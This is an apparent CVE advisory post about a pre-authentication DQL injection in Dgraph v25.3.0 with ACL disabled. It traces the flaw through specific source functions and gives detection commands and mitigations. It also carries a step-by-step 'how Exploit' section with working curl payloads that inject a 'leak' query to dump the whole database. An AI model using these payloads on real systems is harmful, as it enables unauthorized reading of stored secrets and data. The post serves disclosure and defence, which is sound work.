Listen to this Post
The vulnerability exists in Dgraph default configuration (ACL disabled). Attacker sends two HTTP POSTs to port 8080. First POST to `/alter` creates a predicate with `@unique @index(exact) @lang` – this endpoint is unauthenticated by default. Second POST to `/mutate?commitNow=true` contains a crafted JSON key like name@en,"x")) leak(func: has(dgraph.type)) { ... } }. The `x.PredicateLang()` function at `x/x.go:919` splits the key on the last @, returning `name` as predicate and the injection payload as Lang. `validateKeys()` at `server.go:2142` checks only the predicate, never Lang. `addQueryIfUnique()` at `server.go:1778-1808` builds `predicateName` using `fmt.Sprintf(“%v@%v”, predicateName, pred.Lang)` and interpolates into DQL via `fmt.Sprintf` at line 1808. No escaping or parameterization occurs. The injected closing parenthesis escapes the `eq()` function, adds a named query block (leak), and “ comments out trailing syntax. DQL parser accepts both the original `var` and the injected `leak` block. `authorizeQuery()` at `access.go:958` returns `nil` because ACL is disabled. The query executes and results are returned in `data.queries.leak` at http.go:498. Full database read access achieved.
dailycve form:
Platform: Dgraph
Version: v25.3.0 default
Vulnerability : Pre-auth DQL injection
Severity: Critical (9.1)
date: 2026-04-24
Prediction: Patch expected 30 days
What Undercode Say:
Check Dgraph version
curl -s http://localhost:8080/health | jq .version
Test if ACL disabled (default)
curl -s -X POST http://localhost:8080/alter -d 'test: string .'
Detect vulnerable endpoint (no auth required)
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' -H 'Content-Type: application/json' -d '{"set":[{"uid":"_:x","name@en\")){}":"x"}]}'
Monitor for unusual /alter or /mutate on port 8080
sudo tcpdump -i any -n 'tcp port 8080 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
how Exploit:
- Create schema: `curl -X POST http://TARGET:8080/alter -d ‘name: string @unique @index(exact) @lang .’`
2. Inject payload: `curl -X POST ‘http://TARGET:8080/mutate?commitNow=true’ -H ‘Content-Type: application/json’ -d ‘{“set”:[{“uid”:”_:inject”,”name@en,\”x\”)) leak(func: has(dgraph.type)) { uid dgraph.type name email secret } } “:”anything”}]}’`
3. Read exfiltrated data from `data.queries.leak` in JSON response.
Protection from this CVE
- Enable ACL (set
--acl_secret_file) – this blocks unauthenticated /alter and /mutate. - Upgrade Dgraph once patch released (validate `nq.Lang` with regex
^[a-z]{2,3}(-[a-z0-9]+)$). - Use parameterized DQL instead of `fmt.Sprintf` in
addQueryIfUnique. - Network-level: restrict port 8080 to trusted IPs or add reverse proxy with auth.
Impact:
Full database read access without authentication. Attacker exfiltrates all nodes, predicates, secrets, AWS keys, emails, and any stored data. Integrity also affected because attacker can write arbitrary nodes and alter schema. CVSS 9.1 Critical.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

